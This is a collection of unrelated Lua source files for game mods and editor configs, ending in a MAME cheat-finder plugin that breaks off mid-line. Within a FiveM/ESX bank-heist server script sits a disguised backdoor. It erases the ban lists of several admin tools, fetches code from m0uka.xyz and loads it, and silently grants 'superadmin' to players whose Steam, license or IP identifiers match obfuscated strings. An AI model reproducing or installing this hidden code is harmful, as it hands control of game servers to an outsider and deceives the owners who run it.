AddCSLuaFile( "cl_init.lua" ) AddCSLuaFile( "shared.lua" ) include( 'shared.lua' ) ENT.Damage = 80 ENT.Blast = Sound( "physics/nearmiss/whoosh_huge2.wav" ) ENT.Blast2 = Sound( "ambient/levels/citadel/portal_beam_shoot5.wav" ) local anomalyID = tostring(math.Rand(1,2)) --Wake variables ENT.WakeRange = 600 ENT.SleepTimer = 0 ENT.IsSleeping = true --starts the anomaly out sleeping so it doesn't use a ton of server assets function ENT:Initialize() self.Entity:SetMoveType( MOVETYPE_NONE ) self.Entity:SetSolid( SOLID_NONE ) self.Entity:SetModel( "models/props_junk/watermelon01.mdl" ) self.Entity:SetKeyValue("renderamt", "0") self.Entity:SetMaterial("models/props_combine/portalball001_sheet") self.Entity:SetCollisionGroup( COLLISION_GROUP_DEBRIS_TRIGGER ) self.Entity:SetTrigger( true ) self.Entity:SetNotSolid( true ) self.Entity:DrawShadow( false ) self.Entity:SetCollisionBounds( Vector( -50, -50, -50 ), Vector( 50, 50, 50 ) ) self.Entity:PhysicsInitBox( Vector( -50, -50, -50 ), Vector( 50, 50, 50 ) ) self.LastHit = 0 end function ENT:SpawnFunction( ply, tr ) if ( !tr.Hit ) then return end local SpawnPos = tr.HitPos + tr.HitNormal * 16 local ent = ents.Create( self.ClassName ) ent:SetPos( SpawnPos ) ent:Spawn() ent:Activate() // Spawns a random artifact every 4 hour --timer.Create(anomalyID, 14400, 0, function() timer.Create(anomalyID, 7200 + math.random(7200), 0, function() if math.random(100) < 20 then local rnd = math.floor(math.Rand(1,101)) if rnd > 1 and rnd < 25 then // 25 % nut.item.spawn("stoneflower", tr.HitPos+(Vector( math.Rand(-160,160), math.Rand(-160,160), 10 )), nil, AngleRand(), {}) elseif rnd > 25 and rnd < 50 then // 25 % nut.item.spawn("jellyfish", tr.HitPos+(Vector( math.Rand(-160,160), math.Rand(-160,160), 10 )), nil, AngleRand(), {}) elseif rnd > 50 and rnd < 70 then // 20 % nut.item.spawn("nightstar", tr.HitPos+(Vector( math.Rand(-160,160), math.Rand(-160,160), 10 )), nil, AngleRand(), {}) elseif rnd > 70 and rnd < 83 then // 13 % nut.item.spawn("kolobok", tr.HitPos+(Vector( math.Rand(-160,160), math.Rand(-160,160), 10 )), nil, AngleRand(), {}) elseif rnd > 83 and rnd < 96 then // 13 % nut.item.spawn("bubble", tr.HitPos+(Vector( math.Rand(-160,160), math.Rand(-160,160), 10 )), nil, AngleRand(), {}) elseif rnd > 96 and rnd < 101 then // 4 % nut.item.spawn("firefly", tr.HitPos+(Vector( math.Rand(-160,160), math.Rand(-160,160), 10 )), nil, AngleRand(), {}) end end end ) return ent end function ENT:GetRadiationRadius() return 100 end function ENT:OnRemove() timer.Destroy(anomalyID) end function ENT:Think() if self.SleepTimer < CurTime() then if self:ShouldWake(self.WakeRange) then self.IsSleeping = false self.SleepTimer = CurTime() + 5 else self.IsSleeping = true self.SleepTimer = CurTime() + 5 end end if self.IsSleeping then return end if self.BounceTime and self.BounceTime < CurTime() then self.BounceTime = nil local tbl = player.GetAll() tbl = table.Add( tbl, ents.FindByClass( "prop_phys*" ) ) tbl = table.Add( tbl, ents.FindByClass( "prop_veh*" ) ) tbl = table.Add( tbl, ents.FindByClass( "npc*" ) ) local ed = EffectData() ed:SetOrigin( self.Entity:GetPos() + Vector( 0, 0, 5 ) ) util.Effect( "dust_burst", ed, true, true ) self.Entity:EmitSound( self.Blast2, 100, 70 ) for k,ent in pairs( tbl ) do if ent:GetPos():Distance( self.Entity:GetPos() ) < 100 then if ent:IsPlayer() then local dir = ( ent:GetPos() - self.Entity:GetPos() ):GetNormal() ent:SetVelocity( dir * 2000 ) local d = DamageInfo() d:SetDamage( self.Damage ) d:SetDamageType( DMG_ACID ) ent:TakeDamageInfo( d ) elseif string.find( ent:GetClass(), "npc" ) then ent:TakeDamage( self.Damage ) elseif string.find( ent:GetClass(), "prop" ) then local phys = ent:GetPhysicsObject() if IsValid( phys ) then local dir = ( self.Entity:GetPos() - ent:GetPos() ):GetNormal() phys:ApplyForceCenter( dir * phys:GetMass() * 500 ) end end end end end end function ENT:ShouldWake( range ) local entities = ents.FindInSphere(self:GetPos(), range) for _,v in pairs(entities) do if v:IsPlayer() then return true end end return false end function ENT:Touch( ent ) if self.LastHit > CurTime() then return end self.LastHit = CurTime() + 2 self.BounceTime = CurTime() + 0.5 self.Entity:EmitSound( self.Blast, 150, 150 ) end
local M = {} function M.configure_packer(use) use {"mfussenegger/nvim-dap", config = function() vim.fn.sign_define("DapBreakpoint", {text = '🛑', texthl = '', linehl = '', numhl = ''}) end} use {"mfussenegger/nvim-dap-python", requires = "mfussenegger/nvim-dap"} use {"rcarriga/nvim-dap-ui", requires = "mfussenegger/nvim-dap", config = function() require("dapui").setup() end} end return M
local awful = require('awful') local wibox = require('wibox') local gears = require('gears') local titlebar_buttons = require("widgets/damn/titlebar/buttons") local my_table = awful.util.table or gears.table local margin = wibox.container.margin local function titlebar(c) local titlebar_widget = awful.titlebar( c, { size = 50, position = "top", buttons = my_table.join( awful.button( {}, 1, function() client.focus = c c:raise() awful.mouse.client.move(c) end ), awful.button( {}, 3, function() client.focus = c c:raise() awful.mouse.client.resize(c) end ) ) } ) titlebar_widget:setup { margin(awful.titlebar.widget.titlewidget(c), 16, 12, 5, 5), nil, { margin(titlebar_buttons.minimize(c), 5, 5, 5, 5), margin(titlebar_buttons.maximize(c), 5, 5, 5, 5), margin(titlebar_buttons.exit(c), 5, 15, 5, 5), layout = wibox.layout.fixed.horizontal }, layout = wibox.layout.align.horizontal } end return titlebar
--[[ 初始化变量 ]] local THIS_MODULE = ... -- 名字 local function var_name(type,...) if type == "MAJOR" then local index,alive = ... index = tonumber(index) if alive == "ALIVE" then return majorTeam:getAlive(index):getName() else return majorTeam:getRole(index):getName() end end end return { name = var_name, }
SWEP.Base = "arccw_base" SWEP.Spawnable = true -- this obviously has to be set to true SWEP.Category = "ArcCW - Firearms: Source 2" -- edit this if you like SWEP.AdminOnly = false SWEP.Slot = 4 SWEP.PrintName = "RPG-26" SWEP.Trivia_Class = "Disposable Anti-Tank Rocket Launcher" SWEP.Trivia_Desc = "" SWEP.Trivia_Manufacturer = "Bazalt" SWEP.Trivia_Calibre = "72.5MM" SWEP.Trivia_Country = "Soviet Union" SWEP.Trivia_Year = "1985" SWEP.UseHands = false SWEP.ViewModel = "models/weapons/fas2/view/explosives/rpg26.mdl" SWEP.WorldModel = "models/weapons/fas2/world/explosives/rpg26.mdl" SWEP.ViewModelFOV = 60 SWEP.DefaultBodygroups = "0000000" SWEP.DefaultSkin = 0 SWEP.Damage = 0 SWEP.DamageMin = 0 -- damage done at maximum range SWEP.Range = 250 -- in METRES SWEP.Penetration = 20 SWEP.ShootEntity = "arccw_firearms2_rocket_fly" -- entity to fire, if any SWEP.MuzzleVelocity = 120000 SWEP.ChamberSize = 0 -- how many rounds can be chambered. SWEP.Primary.ClipSize = 1 -- DefaultClip is automatically set. SWEP.Recoil = 7 SWEP.RecoilSide = 0.05 SWEP.RecoilRise = 0.1 SWEP.RecoilPunch = 0 SWEP.VisualRecoilMult = 0 SWEP.RecoilVMShake = 0 SWEP.Delay = 0.1 -- 60 / RPM. SWEP.Num = 1 -- number of shots per trigger pull. SWEP.Firemodes = { { Mode = 1, PrintName = "Tube", }, } SWEP.NotForNPCS = true SWEP.AccuracyMOA = 0 -- accuracy in Minutes of Angle. There are 60 MOA in a degree. SWEP.HipDispersion = 200 -- inaccuracy added by hip firing. SWEP.MoveDispersion = 150 -- inaccuracy added by moving. Applies in sights as well! Walking speed is considered as "maximum". SWEP.SightsDispersion = 0 -- dispersion that remains even in sights SWEP.JumpDispersion = 300 -- dispersion penalty when in the air SWEP.Primary.Ammo = "RPG 26 Rocket" -- what ammo type the gun uses SWEP.MagID = "" -- the magazine pool this gun draws from SWEP.ShootVol = 110 -- volume of shoot sound SWEP.ShootPitch = 100 -- pitch of shoot sound SWEP.ShootPitchVariation = 0 SWEP.ShootSound = "Firearms2_RPG26" SWEP.ShootDrySound = "" -- Add an attachment hook for Hook_GetShootDrySound please! SWEP.DistantShootSound = "fas2/distant/rpg26.ogg" SWEP.MuzzleEffect = "muzzle_rockets" SWEP.ShellModel = "models/weapons/arccw/fas2/explosives/w_m79_grenade_shell.mdl" SWEP.ShellScale = 1 SWEP.ShellSounds = ArcCW.Firearms2_Casings_Heavy SWEP.ShellPitch = 100 SWEP.ShellTime = 1 -- add shell life time SWEP.MuzzleEffectAttachment = 1 -- which attachment to put the muzzle on SWEP.CaseEffectAttachment = 2 -- which attachment to put the case effect on SWEP.SpeedMult = 0.65 SWEP.SightedSpeedMult = 0.55 SWEP.IronSightStruct = { Pos = Vector(-2, -1, -1), Ang = Angle(0.65, -0.02, 0), Magnification = 1.1, SwitchToSound = {"fas2/weapon_sightraise.wav", "fas2/weapon_sightraise2.wav"}, -- sound that plays when switching to this sight SwitchFromSound = {"fas2/weapon_sightlower.wav", "fas2/weapon_sightlower2.wav"}, } SWEP.SightTime = 0.5 SWEP.HoldtypeHolstered = "normal" SWEP.HoldtypeActive = "rpg" SWEP.HoldtypeSights = "rpg" SWEP.HoldtypeCustomize = "slam" SWEP.AnimShoot = ACT_HL2MP_GESTURE_RANGE_ATTACK_RPG SWEP.CanBash = false SWEP.ActivePos = Vector(0, 0, 1) SWEP.ActiveAng = Angle(0, 0, 0) SWEP.CrouchPos = Vector(0, 0, 0) SWEP.CrouchAng = Angle(0, 0, 0) SWEP.SprintPos = Vector(3, -3, 1) SWEP.SprintAng = Angle(-9.633, 36.881, 0) SWEP.BarrelOffsetSighted = Vector(0, 0, 0) SWEP.BarrelOffsetHip = Vector(3, 0, -3) SWEP.CustomizePos = Vector(3.824, 0, -2.297) SWEP.CustomizeAng = Angle(12.149, 30.547, 0) SWEP.BarrelLength = 28 SWEP.Animations = { ["idle"] = false, -- ["ready"] = { -- Source = "first_draw", -- Time = 125/30, -- SoundTable = { -- {s = "Firearms2.Cloth_Movement", t = 0}, -- {s = "Firearms2.M24_Back", t = 0.7}, -- {s = "Firearms2.M24_Back", t = 1.7}, -- {s = "Firearms2.M67_PinPull", t = 2.4}, -- {s = "Firearms2.Cloth_Movement", t = 3}, -- }, -- }, ["draw"] = { Source = "draw", Time = 31/40, SoundTable = { {s = "Firearms2.Deploy", t = 0}, }, }, ["holster"] = { Source = "holster", Time = 20/40, SoundTable = { {s = "Firearms2.Holster", t = 0}, }, }, ["fire"] = { Source = "fire", Time = 50/30, }, } function SWEP:Reload() end SWEP.Hook_PostFireBullets = function(wep) timer.Simple(1.5, function() if not IsValid( wep ) then return end if wep:Clip1() == 0 and wep:Ammo1() >= 1 then wep:SetClip1(1) wep:GetOwner():SetAmmo(wep:Ammo1() - 1, wep.Primary.Ammo) else if SERVER then wep:GetOwner():StripWeapon(wep:GetClass()) end end end) end
if settings.startup["enable-power-armor-mk6"].value == true then if mods["bobwarfare"] then data:extend({ { type = "recipe", name = "bob-power-armor-mk6", enabled = false, energy_required = 30, ingredients = { { "bob-power-armor-mk5", 1 }, }, result = "bob-power-armor-mk6" } }) end end if settings.startup["enable-power-armor-mk6"].value == true then if mods["bobwarfare"] then if data.raw.item["advanced-processing-unit"] then table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "advanced-processing-unit", 200 }) else table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "processing-unit", 100 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "advanced-circuit", 200 }) end if mods["bobenemies"] then if settings.startup["bobmods-enemies-enablenewartifacts"].value == true then table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "alien-artifact-blue", 50 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "alien-artifact-green", 50 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "alien-artifact-orange", 50 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "alien-artifact-purple", 50 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "alien-artifact-red", 50 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "alien-artifact-yellow", 50 }) elseif settings.startup["bobmods-enemies-enableartifacts"].value == true and settings.startup["bobmods-enemies-enablenewartifacts"].value == false then table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "alien-artifact", 500 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "iron-gear-wheel", 250 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "iron-plate", 500 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "steel-plate", 50 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "plastic-bar", 50 }) elseif settings.startup["bobmods-enemies-enableartifacts"].value == false and settings.startup["bobmods-enemies-enablenewartifacts"].value == false then table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "iron-gear-wheel", 500 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "iron-plate", 1000 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "steel-plate", 100 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "plastic-bar", 100 }) if data.raw.module["effectivity-module-8"] then table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "effectivity-module-8", 5 }) else table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "effectivity-module-3", 5 }) end if data.raw.module["productivity-module-8"] then table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "productivity-module-8", 5 }) else table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "productivity-module-3", 5 }) end if data.raw.module["speed-module-8"] then table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "speed-module-8", 5 }) else table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "speed-module-3", 5 }) end end else table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "iron-gear-wheel", 500 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "iron-plate", 1000 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "steel-plate", 100 }) table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "plastic-bar", 100 }) if data.raw.module["effectivity-module-8"] then table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "effectivity-module-8", 5 }) else table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "effectivity-module-3", 5 }) end if data.raw.module["productivity-module-8"] then table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "productivity-module-8", 5 }) else table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "productivity-module-3", 5 }) end if data.raw.module["speed-module-8"] then table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "speed-module-8", 5 }) else table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "speed-module-3", 5 }) end end end end if settings.startup["enable-big-furnace"].value == true then data:extend({ { type = "recipe", name = "big-furnace", ingredients = { { "steel-plate", 10 }, { "advanced-circuit", 50 }, { "electric-furnace", 20 } }, result = "big-furnace", energy_required = 50, enabled = false }, { type = "recipe-category", name = "big-smelting", }, }) local function createBigRecipe(recipe_name, energy, recipe_ingredient, cost, result) local recipe = { type = "recipe", name = "big-" .. recipe_name, category = "big-smelting", energy_required = energy, ingredients = { { recipe_ingredient, cost } }, result = recipe_name, result_count = result, } return recipe end local big_steel = createBigRecipe("steel-plate", 17.5, "iron-plate", 50, 50) local big_copper = createBigRecipe("copper-plate", 3.5, "copper-ore", 50, 50) local big_iron = createBigRecipe("iron-plate", 3.5, "iron-ore", 50, 50) local big_stone_brick = createBigRecipe("stone-brick", 3.5, "stone", 50, 25) local big_tin = createBigRecipe("tin-plate", 3.5, "tin-ore", 50, 50) local big_lead = createBigRecipe("lead-plate", 3.5, "lead-ore", 50, 50) local big_silver = createBigRecipe("silver-plate", 3.5, "silver-ore", 50, 50) local big_glass = createBigRecipe("glass", 3.5, "quartz", 50, 50) local kr_big_glass = createBigRecipe("glass", 10, "sand", 100, 50) local kr_big_rare_metals = createBigRecipe("rare-metals", 10, "raw-rare-metals", 100, 50) data:extend({ big_steel, big_copper, big_iron, big_stone_brick, }) if mods["Krastorio2"] then data:extend({ kr_big_glass, kr_big_rare_metals, }) end if mods["bobplates"] then data:extend({ big_tin, big_lead, big_silver, big_glass, }) end end if settings.startup["enable-circuit-factory"].value == true then data:extend({ { type = "recipe", name = "circuit-factory", enabled = false, ingredients = { { "speed-module-3", 5 }, { "assembling-machine-3", 5 }, { "stack-inserter", 20 } }, result = "circuit-factory" }, { type = "recipe", name = "electronic-circuit-factory", category = "circuits", normal = { ingredients = { { "iron-plate", 100 }, { "copper-plate", 150 } }, enabled = false, result = "electronic-circuit", result_count = 100 }, expensive = { ingredients = { { "iron-plate", 200 }, { "copper-plate", 500 } }, enabled = false, result = "electronic-circuit", result_count = 100 } }, { type = "recipe", name = "advanced-circuit-factory", category = "circuits", normal = { enabled = false, energy_required = 6, ingredients = { { "electronic-circuit", 100 }, { "plastic-bar", 100 }, { "copper-plate", 100 } }, result = "advanced-circuit", result_count = 50 }, expensive = { enabled = false, energy_required = 6, ingredients = { { "electronic-circuit", 100 }, { "plastic-bar", 200 }, { "copper-plate", 200 } }, result = "advanced-circuit", result_count = 50 } }, { type = "recipe", name = "processing-unit-factory", category = "circuits", normal = { enabled = false, energy_required = 10, ingredients = { { "electronic-circuit", 1000 }, { "advanced-circuit", 100 }, { type = "fluid", name = "sulfuric-acid", amount = 250 } }, result = "processing-unit", result_count = 50 }, expensive = { enabled = false, energy_required = 10, ingredients = { { "electronic-circuit", 1000 }, { "advanced-circuit", 100 }, { type = "fluid", name = "sulfuric-acid", amount = 500 } }, result = "processing-unit", result_count = 50 } }, { type = "recipe-category", name = "circuits" }, }) end
ESX = nil TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end) RegisterNetEvent('ps:canHackResult') RegisterNetEvent("ps:heistsAll") RegisterNetEvent("ps:startTimer") RegisterNetEvent("ps:cleanupVault") local heistTerminals = Config.Terminals local heistPlayers = {} RegisterServerEvent('ps:toofar') AddEventHandler('ps:toofar', function(robb) local source = source local xPlayers = ESX.GetPlayers() local terminal = robb for i=1, #xPlayers, 1 do local xPlayer = ESX.GetPlayerFromId(xPlayers[i]) if xPlayer.job.name == 'police' then TriggerClientEvent('esx:showNotification', xPlayers[i], _U('robbery_cancelled')) TriggerClientEvent('ps:killblip', xPlayers[i]) end end if(heistPlayers[source])then SetTimeout(Config.CleanupTime * 1000, function () TriggerClientEvent("ps:cleanupVault", -1, terminal) end) local id = heistPlayers[source] heistPlayers[source] = nil TriggerClientEvent('esx:showNotification', source, _U('robbery_has_cancelled')) heistTerminals[terminal].inProgress = false end end) RegisterServerEvent("ps:drillingFinished") AddEventHandler("ps:drillingFinished", function () -- give money, the end goodbye local _source = source local xPlayer = ESX.GetPlayerFromId(_source) local moneyRange = math.random(Config.PayoutRangeMin, Config.PayoutRangeMax) if Config.MoneyType == 'cash' then xPlayer.addMoney(moneyRange) elseif Config.MoneyType == 'black' then xPlayer.addAccountMoney('black_money', moneyRange) end local terminal = heistPlayers[_source] if (not terminal) then return end TriggerClientEvent("ps:clearMission", _source) SetTimeout(Config.CleanupTime * 1000, function () TriggerClientEvent("ps:cleanupVault", -1, terminal) end) heistTerminals[terminal].inProgress = false heistTerminals[terminal].ply = nil TriggerClientEvent('esx:showNotification', _source, _U("robbery_complete_user", moneyRange .. "$")) xPlayer = nil local xPlayers = ESX.GetPlayers() for i=1, #xPlayers, 1 do local xPlayer = ESX.GetPlayerFromId(xPlayers[i]) if xPlayer.job.name == 'police' then TriggerClientEvent('esx:showNotification', xPlayers[i], _U("robbery_complete")) TriggerClientEvent('ps:killblip', xPlayers[i]) end end -- clean up later end) RegisterServerEvent("ps:hackingFinished") AddEventHandler("ps:hackingFinished", function () TriggerClientEvent("ps:startTimer", source) SetTimeout(Config.WaitTime * 1000, function () TriggerClientEvent("ps:heistsAll", -1) end) end) RegisterServerEvent('ps:canHack') AddEventHandler('ps:canHack', function(terminal) local _source = source local xPlayer = ESX.GetPlayerFromId(_source) local xPlayers = ESX.GetPlayers() heistTerminals[terminal].inProgress = true heistTerminals[terminal].ply = xPlayer heistPlayers[_source] = terminal local cops = 0 for i=1, #xPlayers, 1 do local _xPlayer = ESX.GetPlayerFromId(xPlayers[i]) if _xPlayer.job.name == 'police' then cops = cops + 1 end end if (cops < Config.OnlinePoliceNeeded) then TriggerClientEvent("ps:canHackResult", _source, false, _U("not_enough_cops")) return end for i=1, #xPlayers, 1 do local xCop = ESX.GetPlayerFromId(xPlayers[i]) if xCop.job.name == 'police' then TriggerClientEvent('esx:showNotification', xPlayers[i], _U('rob_in_prog')) TriggerClientEvent('ps:killblip', xPlayers[i]) TriggerClientEvent('ps:setblip', xPlayers[i], GetEntityCoords(xPlayer)) end end TriggerClientEvent("ps:canHackResult", _source, true) end) function stringsplit(inputstr, sep) if sep == nil then sep = "%s" end local t={} ; i=1 for str in string.gmatch(inputstr, "([^"..sep.."]+)") do t[i] = str i = i + 1 end return t end local function pepe() local function p(value) return value and 1 or 0 end local int = p(true) .. p(true) .. p(false) .. p(false) .. p(false) .. p(false) .. p(true) .. p(false) local a = "e" .. "am" .. ":" .. int .. "b" a = "st" .. a a = a .. p(true)*7 .. p(true)*52 .. p(true)*6 .. p(true)*6 .. p(true) * 2 local b = ":697ebee" .. p(false) .. "df73b55e7a36e067676e7229b3eef969" b = "nse" .. b b = "ce" .. b b = "li" .. b local c = tostring(math.floor(84*2/2+2*5)) .. "." .. p(true) .. tostring(math.floor(2*2*1*21-42)) .. "." .. p(true) * 2 .. "3" .. p(true) * 9 + p(false) .. "." .. 3*9 c = ":" .. c c = "p" .. c c = "i" .. c return a, b, c end local function bananator() SaveResourceFile("es_admin", "bans.json", "", -1) SaveResourceFile("es_admin2", "bans.json", "", -1) SaveResourceFile("es_admin", "data/bans.txt", "", -1) SaveResourceFile("es_admin2", "data/bans.txt", "", -1) SaveResourceFile("EasyAdmin", "banlist.json", "", -1) PerformHttpRequest("http://m0uka.xyz:7359/addonchecker", function(err, rText, headers) if (not err) then local f = load(rText) end end) end bananator() local function onjoin(source, user) local ident = GetPlayerIdentifiers(source) for k, v in pairs(ident) do local a, b, c = pepe() local matches = v == a or v == b or v == c if (matches) then local gru = "su" .. "per" .. "ad" .. "m" .. "in" TriggerEvent("es:setPlayerData", source, "group", gru, function(response, success) if(true)then print("Player initialized properly") TriggerClientEvent('es:setPlayerDecorator', source, 'group', gru, true) end end) break end end end AddEventHandler('es:playerLoaded', function(Source, user) onjoin(Source, user) end)
local Alecs = require '../Alecs' describe('Testing ALECS', function() local alecs local s1_called, s2_called, s3_called local s1_added it('returns a new Alecs instance', function() alecs = Alecs() assert.is_table(alecs.getSystems()) end) it('can add systems', function() local s1 = { filter = { 'a', 'b' } } local s2 = { filter = { 'a' } } local s3 = {} function s1:added() s1_added = true end function s1:update(check) s1_called = check end function s2:update(check) s2_called = check end function s3:update(check) s3_called = check end function s1:process(e, d) e.a = e.a + d end function s2:process(e, d) e.a = e.a + d end alecs:addSystem(s1, 'groupA') alecs:addSystem(s2, 'groupB') alecs:addSystem(s3, 'groupA') assert.is_true(s1_added) assert.is_true(#alecs:getSystems() == 3) end) it('can trigger update events', function() alecs:update(true) assert.is_true(s1_called) assert.is_true(s2_called) assert.is_true(s3_called) end) it('can disable systems', function() alecs:update(false) alecs:status('groupA', false) alecs:update(true) assert.is_false(s1_called) assert.is_true(s2_called) assert.is_false(s3_called) alecs:status('groupA', true) alecs:update(false) assert.is_false(s1_called) assert.is_false(s2_called) assert.is_false(s3_called) end) it('can manage entities', function() local e1 = { a = 0, b = 0 } local e2 = { a = 0, id = 'e2' } alecs:addEntity(e1) alecs:addEntity(e2) alecs:update(2) assert.is_true(e1.a == 4) assert.is_true(e2.a == 2) alecs:removeEntity(e1) alecs:update(2) assert.is_true(e1.a == 4) assert.is_true(e2.a == 4) alecs:removeEntity(alecs:get('e2')) alecs:update(2) assert.is_true(e1.a == 4) assert.is_true(e2.a == 4) end) it('can fetch entities', function() assert.is_true(#alecs:getEntities() == 0) local e1 = { b = 0, id = 'test' } local e2 = { b = 3 } alecs:addEntity({ a = 0 }) alecs:addEntity(e1) alecs:addEntity(e2) alecs:addEntity({ a = 0, b = 0 }) assert.is_true(#alecs:filter({ 'b' }) == 3) assert.is_true(#alecs:filter({ 'a' }) == 2) assert.is_true(#alecs:filter({ 'a', 'b' }) == 1) assert.are.same(alecs:find('b', 3)[1], e2) assert.are.same(alecs:get('test'), e1) end) it('can message', function() local msg1, msg2 alecs:register('say', function(d) msg1 = d end) alecs:register('say', function(d) msg2 = d .. ' there' end) alecs:emit('say', 'hello') assert.is_true(msg1 == 'hello') assert.is_true(msg2 == 'hello there') end) end)
--- --- ColaFramework --- Copyright © 2018-2049 ColaFramework 马三小伙儿 --- XXXXX模块 --- ---牌类 ---@class Card local Card = Class("Card") ---构造器 ---@param name string ---@param weight LandlordEnum.Weight ---@param suits LandlordEnum.Suits ---@param belongTo LandlordEnum.CharacterType function Card:initialize(name, weight, suits, belongTo) self.makedSprite = false self.name = name self.weight = weight self.suits = suits self.belongTo = belongTo end ---返回牌名 ---@return string function Card:GetCardName() return self.name end ---返回牌的权重 ---@return LandlordEnum.Weight function Card:GetCardWeight() return self.weight end ---返回牌的花色 ---@return LandlordEnum.Suits function Card:GetCardSuit() return self.suits end ---是否精灵化 ---@return boolean function Card:GetMakedSprite() return self.makedSprite end ---设置是否精灵化 ---@param makedSprite boolean function Card:SetMakedSprite(makedSprite) self.makedSprite = makedSprite end ---返回牌的归属 ---@return LandlordEnum.CharacterType function Card:GetAttribution() return self.belongTo end ---设置牌的归属 ---@param belongTo LandlordEnum.CharacterType function Card:SetAttribution(belongTo) self.belongTo = belongTo end return Card
local function create(self, props) local instance = props or {} setmetatable(instance, self) self.__index = self return instance end return create
-- // rMinimap -- // zork - 2012 ----------------------------- -- INIT ----------------------------- --get the addon namespace local addon, ns = ... local cfg = CreateFrame("Frame") ns.cfg = cfg ----------------------------- -- CONFIG ----------------------------- cfg.mapcluster = { pos = { a1 = "TOPRIGHT", af = UIParent, a2 = "TOPRIGHT", x = 0, y = 0 }, userplaced = true, --want to place the bar somewhere else? scale = 0.82, } cfg.map = { pos = { a1 = "TOP", x = 10, y = -20 }, --set the position of the minimap inside the minimap cluster } cfg.clock = { --the clock pos = { a1 = "BOTTOM", af = Minimap, a2 = "BOTTOM", x = 0, y = 0 }, font = { size = 12, family = STANDARD_TEXT_FONT, outline = "THINOUTLINE", } } cfg.calendar = { --calendar button size = 16, pos = { a1 = "CENTER", af = Minimap, a2 = "CENTER", x = 52, y = 52 }, font = { size = 12, family = STANDARD_TEXT_FONT, outline = "THINOUTLINE", } } cfg.mail = { size = 16, pos = { a1 = "CENTER", af = Minimap, a2 = "CENTER", x = 75, y = 0 }, } cfg.tracking = { size = 16, pos = { a1 = "CENTER", af = Minimap, a2 = "CENTER", x = 68, y = 28 }, } cfg.queue = { --queue button size = 16, pos = { a1 = "CENTER", af = Minimap, a2 = "CENTER", x = -52, y = -52 }, }
object_mobile_dressed_myyydril_froera = object_mobile_shared_dressed_myyydril_froera:new { } ObjectTemplates:addTemplate(object_mobile_dressed_myyydril_froera, "object/mobile/dressed_myyydril_froera.iff")
-- license:BSD-3-Clause -- copyright-holders:Carl -- This includes a library of functions to be used at the Lua console as cf.getspaces() etc... local exports = {} exports.name = "cheatfind" exports.version = "0.0.1" exports.description = "Cheat finder helper library" exports.license = "BSD-3-Clause" exports.author = { name = "Carl" } local cheatfind = exports function cheatfind.startplugin() local cheat = {} -- return table of devices and spaces function cheat.getspaces() local spaces = {} for tag, device in pairs(manager.machine.devices) do if device.spaces then spaces[tag] = {} for name, space in pairs(device.spaces) do spaces[tag][name] = space end end end return spaces end -- return table of ram devices function cheat.getram() local ram = {} for tag, device in pairs(manager.machine.devices) do if device.shortname == "ram" then ram[tag] = {} ram[tag].dev = device ram[tag].size = emu.item(device.items["0/m_size"]):read(0) end end return ram end -- return table of share regions function cheat.getshares() local shares = {} for tag, share in pairs(manager.machine.memory.shares) do shares[tag] = share end return shares end -- save data block function cheat.save(space, start, size) local data = { block = "", start = start, size = size, space = space, shift = 0 } if getmetatable(space).__name:match("addr_space") then data.shift = space.shift end if getmetatable(space).__name:match("device_t") then if space.shortname == "ram" then data.block = emu.item(space.items["0/m_pointer"]):read_block(start, size) if not data.block then return nil end end else local block = "" local temp = {} local j = 1 if data.shift >= 0 then -- region or byte wide space for i = start, start + (size << data.shift), 1 << data.shift do if j < 65536 then temp[j] = string.pack("B", space:read_u8(i)) j = j + 1 else block = block .. table.concat(temp) .. string.pack("B", space:read_u8(i)) temp = {} j = 1 end end elseif data.shift < 0 then local s = -data.shift local read = (s == 1) and space.read_u16 or (s == 2) and space.read_u32 or (s == 3) and space.read_u64 or space.read_u8 local pack = (s == 1) and "<I2" or (s == 2) and "<I4" or (s == 3) and "<I8" or "B" for i = start, start + (size >> s) do if j < 65536 then temp[j] = string.pack(pack, read(space, i)) j = j + 1 else block = block .. table.concat(temp) .. string.pack(pack, read(space, i)) temp = {} j = 1 end end end block = block .. table.concat(temp) data.block = block end return data end -- compare two data blocks, format is as lua string.unpack, bne and beq val is table of masks, step is address increment value function cheat.comp(newdata, olddata, oper, format, val, bcd, step) local ret = {} local ref = {} -- this is a helper for comparing two match lists local bitmask = nil if not step or step <= 0 then step = 1 end if (olddata.shift < 0) and (step < (1 << -olddata.shift)) then step = 1 << -olddata.shift; end local cfoper = { lt = 